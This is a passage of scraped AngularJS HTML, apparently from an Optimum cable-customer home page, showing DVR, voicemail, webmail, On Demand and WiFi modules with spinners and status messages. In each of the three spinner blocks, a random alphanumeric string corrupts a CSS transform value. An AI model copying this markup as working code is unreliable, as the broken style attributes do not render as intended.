ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-onTonight" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">TV best bets</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-dvr" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">DVR</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr> </tbody></table> </div> </div> </div> </div> </div> <div class="feature-content"> <!-- "LIST" DISPLAY STYLE --> <div class="list-module-style" ng-show="module.displayStyle=='list'" style="display: none;"> <!-- Loading --> <div ng-show="!isViewportSize.phone && module.loading && !module.error && !module.noEntitlement && !module.items.length" style="display: none;"> <div class="spinner-container" style="box-sizing: content-box; position: relative; width: 74px; height: 74px;"><div class="spinner" style="position: relative; width: 0px; z-index: 999; left: 0px; top: 0px; margin-top: 50%; margin-left: 50%;" aria-role="progressbar"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-0-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(24deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-1-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(46up4RLiaoAhGQEe2B92tAaqBGwZ8EyMFER94Q5PwBhMYwVES4pWZzMGvwNEARUCrXfMk7MMgXjBBcNSUiLK1RPzExPxbuZ1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-2-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(66deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-3-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(87deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-4-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(108deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-5-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(129deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-6-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(151deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-7-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(172deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-8-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(193deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-9-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(214deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-10-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(235deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-11-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(256deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-12-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(278deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-13-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(299deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-14-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(320deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-15-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(341deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-16-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(362deg) translate(22px); border-radius: 0px;"></div></div></div></div> </div> <!-- No Entitlements --> <div class="no-entitlement-msg" ng-show="!isViewportSize.phone && (module.noEntitlement || module.holdEntitlement)" style="display: none;"> <!-- Webmail --> <h4 ng-show="module.id == 'webMail'" class="ng-binding" style="display: none;"></h4> <h4 ng-show="module.id == 'webMail'" class="ng-binding" style="display: none;"></h4> <!-- DVR --> <h4 ng-show="!isViewportSize.phone && module.id == 'dvr'" style="display: none;"> You do not have DVR service on Optimum TV. <!--<a cta-arrow-link class="primary" href="#">Learn More</a><span if="! isViewportSize.phone"></span>--> </h4> </div> <!-- Error --> <div class="service-error-msg" ng-show="!isViewportSize.phone && module.error" style="display: none;"> <!-- voicemail--> <h4 ng-show="module.id == 'voiceMail'" style="display: none;">We can't get your messages right now. Please try again later.</h4> <!-- webmail --> <h4 ng-show="module.id == 'webMail'" style="display: none;">We cant display your emails here right now, but you can still go to your inbox by clicking Open email box below.</h4> <!-- dvr --> <h4 ng-show="module.id == 'dvr'" style="display: none;">We can't get your DVR recordings right now. Please try again later.</h4> <!-- onTonight (EPG Miniguide) --> <h4 ng-show="module.id == 'onTonight'" style="display: none;">Sorry, we can't get upcoming shows right now. Please try again later.</h4> </div> <!-- Results --> <div class="list-module-results" ng-show="!isViewportSize.phone && module.items.length && !module.listError && !module.listLoading" style="display: none;"> <p ng-show="module.id == 'voiceMail'" ng-bind-html="module.mobileCountMessage" class="ng-binding" style="display: none;"></p> <!-- ngRepeat: item in module.items --> </div> <!-- No Results --> <div class="no-results-msg" ng-show="!isViewportSize.phone && !module.items.length && !module.error && !module.noEntitlement && !module.holdEntitlement"> <!-- voicemail--> <h4 ng-show="module.id == 'voiceMail'" ng-bind-html-unsafe="module.mobileCountMessage" class="ng-binding" style="display: none;"></h4> <!-- webmail --> <h4 ng-show="module.id == 'webMail'" style="display: none;">There are no messages in your inbox.</h4> <!-- dvr --> <h4 ng-show="module.id == 'dvr'" style="display: none;"> You have no recordings scheduled. Set some up using the <a href="#">Guide</a>. </h4> </div> </div> <!-- "ARTWORK" DISPLAY STYLE --> <div class="artwork-module-style" ng-show="module.displayStyle == 'artwork'" style="display: none;"> <!-- Loading --> <div ng-show="!isViewportSize.phone && module.loading && !module.error && !module.noEntitlement && !module.items.length" style="display: none;"> <div class="spinner-container" style="box-sizing: content-box; position: relative; width: 74px; height: 74px;"><div class="spinner" style="position: relative; width: 0px; z-index: 999; left: 0px; top: 0px; margin-top: 50%; margin-left: 50%;" aria-role="progressbar"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-0-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(24deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-1-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(46up4RLiaoAhGQEe2B92tAaqBGwZ8EyMFER94Q5PwBhMYwVES4pWZzMGvwNEARUCrXfMk7MMgXjBBcNSUiLK1RPzExPxbuZ1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-2-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(66deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-3-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(87deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-4-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(108deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-5-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(129deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-6-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(151deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-7-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(172deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-8-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(193deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-9-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(214deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-10-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(235deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-11-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(256deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-12-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(278deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-13-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(299deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-14-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(320deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-15-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(341deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-16-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(362deg) translate(22px); border-radius: 0px;"></div></div></div></div> </div> <!-- No Entitlements --> <div class="no-entitlement-msg" ng-show="!isViewportSize.phone && module.noEntitlement" style="display: none;"> <!-- cart --> <h4 ng-show="module.id == 'cart'" style="display: none;">You do not have Optimum TV. <!--<a cta-arrow-link class="primary" href="#">Learn More</a>--><!-- if: ! isViewportSize.phone --><span if="! isViewportSize.phone" class="ng-scope"></span></h4> </div> <!-- Error --> <div class="service-error-msg" ng-show="!isViewportSize.phone && module.error" style="display: none;"> <!-- cart--> <h4 ng-show="module.id == 'cart'" style="display: none;">We can't get your <span ng-show="module.isLaBox" style="display: none;">Favorites</span><span ng-show="!module.isLaBox">Cart</span> right now. Please try again later.</h4> <!-- on demand--> <h4 ng-show="module.id == 'onDemand'" style="display: none;">We can't get On Demand right now. Please try again later. <!--<a href="#">All titles</a>.--></h4> </div> <!-- Results --> <div class="row" ng-show="!isViewportSize.phone && module.items.length > 0 && !module.artworkError && !module.loading" style="display: none;"> <!-- ngRepeat: item in module.items --> </div> <!-- No Results --> <div class="no-results-msg" ng-show="!isViewportSize.phone && !module.items.length && !module.error && !module.noEntitlement"> <!-- cart--> <h4 ng-show="module.id == 'cart'" style="display: none;">Your <span ng-show="module.isLaBox" style="display: none;">favorites</span><span ng-show="!module.isLaBox">cart</span> is empty. Pick some items in <a href="#">On Demand</a>.</h4> </div> </div> <!-- "WIFI" DISPLAY STYLE --> <div class="list-module-style wifi-chg" ng-show="module.displayStyle=='wifi'" style="display: none;"> <!-- Loading --> <div ng-show="!isViewportSize.phone && module.loading && !module.error && !module.noEntitlement" style="display: none;"> <div class="spinner-container" style="box-sizing: content-box; position: relative; width: 74px; height: 74px;"><div class="spinner" style="position: relative; width: 0px; z-index: 999; left: 0px; top: 0px; margin-top: 50%; margin-left: 50%;" aria-role="progressbar"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-0-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(24deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-1-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(46up4RLiaoAhGQEe2B92tAaqBGwZ8EyMFER94Q5PwBhMYwVES4pWZzMGvwNEARUCrXfMk7MMgXjBBcNSUiLK1RPzExPxbuZ1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-2-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(66deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-3-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(87deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-4-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(108deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-5-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(129deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-6-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(151deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-7-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(172deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-8-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(193deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-9-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(214deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-10-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(235deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-11-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(256deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-12-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(278deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-13-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(299deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-14-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(320deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-15-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(341deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-16-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(362deg) translate(22px); border-radius: 0px;"></div></div></div></div> </div> <!-- No Entitlements --> <div ng-show="!isViewportSize.phone && module.noEntitlement" style="display: none;"> <h4>Want to be able to access Optimum WiFi Hotspots? <!-- if: ! isViewportSize.phone --><span if="! isViewportSize.phone" class="ng-scope"></span> </h4> </div> <!-- Error --> <div ng-show="!isViewportSize.phone && module.error" style="display: none;"> <h4 ng-show="module.id == 'wifi'" style="display: none;"> We can't get your usage right now. Please try again later. </h4> </div> <!-- No Results --> <!-- Commenting for covid change --> <!-- <div ng-show="!isViewportSize.phone && !module.noEntitlement && !module.hasWifiUsage"> <h4>You could be getting more value from your Optimum Online service by using Optimum WiFi. <!--<a cta-arrow-link class="primary cta-link-margin" href="#">Learn More</a>--> <!-- </h4> </div> --> <div ng-show="!isViewportSize.phone && !module.noEntitlement && !module.hasWifiUsage"> <h4>We're here to help ensure you have the best WiFi connection in your home. </h4> </div> <div class="wifi-module-style" ng-show="!isViewportSize.phone && module.hasWifiUsage" style="display: none;"> <div class="row" ng-show="!module.wifiError && !module.wifiLoading"> <div class="span12"> <div class="row"> <div class="span4"> <h4>You've used</h4> </div> <div class="span4"> <h4>on</h4> </div> <div class="span4"> <h4>in</h4> </div> </div> <div class="row"> <div class="span4"> <h2 class="ng-binding"></h2> </div> <div class="span4"> <h2 class="ng-binding"></h2> </div> <div class="span4"> <h2 class="ng-binding"></h2> </div> </div> <div class="row"> <div class="span4"> <h5>gb</h5> </div> <div class="span4"> <h5>devices</h5> </div> <div class="span4"> <h5>days</h5> </div> </div> </div> </div> </div> </div> </div><!-- /feature-content --> <div class="feature-cta" ng-hide="module.id == 'onDemand' || module.id == 'onTonight'"> <div ng-hide="module.loading"> <span ng-show="module.link.mobileTitle" style="display: none;"><span class="primary hidden-desktop hidden-tablet cta-arrow-link" cta-arrow-link="" href="#"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span></span> <span ng-show="showLink && module.link.title" style="display: none;"> <span class="primary hidden-phone cta-arrow-link" cta-arrow-link="" href="#"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span></span> </div> </div> <div class="feature-cta" ng-show="module.id == 'onDemand' || module.id == 'onTonight'" style="display: none;"> <span class="primary hidden-desktop hidden-tablet cta-arrow-link" cta-arrow-link="" href="#" ng-show="module.link.mobileTitle" style="display: none;"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> <span class="primary hidden-phone cta-arrow-link-dt cta-arrow-link" ng-show="module.id == 'onDemand' || module.id == 'onTonight'" cta-arrow-link="" cta-arrow-link-dt="" href="#" style="display: none;"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> <!-- <div class="feature-cta" ng-show="module.error && module.id == 'onDemand' || module.noEntitlement" > <a cta-arrow-link class="primary hidden-desktop hidden-tablet" href="#" ng-show="module.link.mobileTitle"> <span>{{module.link.mobileTitle}}</span> </a> <a cta-arrow-link class="primary hidden-phone" href="#" ng-show="showLink && module.link.title"> <span>{{module.link.title}}</span> </a> </div>--> </div> </div> <!-- if: ! isViewportSize.phone --><p class="current-timestamp ng-scope ng-binding" if="! isViewportSize.phone" ng-hide="module.displayStyle=='wifi'">Current as of </p> </div> <div id="home-module-" class="span6 home-module" data-home-module="home-module" active="HomeCtrl.activeModules" data-module-type="'voiceMail'"> <!--TODO: <div data-dropdown-checkbox="dropdown-checkbox"></div>--> <div class="feature-module"> <div class="select-feature"> <div class="container"> <div class="row"> <div class="span8"> <h2 class="module-title"> <span ng-show="isViewportSize.phone && module.mobileTitle" class="ng-binding" style="display: none;"></span> <span ng-hide="isViewportSize.phone && module.mobileTitle" class="ng-binding"></span> <!-- if: isViewportSize.phone --> <!-- if: isViewportSize.phone --> </h2> </div> <div class="span4"> <div class="dropdown-module-prefs hidden-phone"> <div class="customize-menu-btn">Change <i class="icon-caret-down"></i></div> <div class="menu"> <div class="arrow-up"></div> <table> <tbody><!-- ngRepeat: 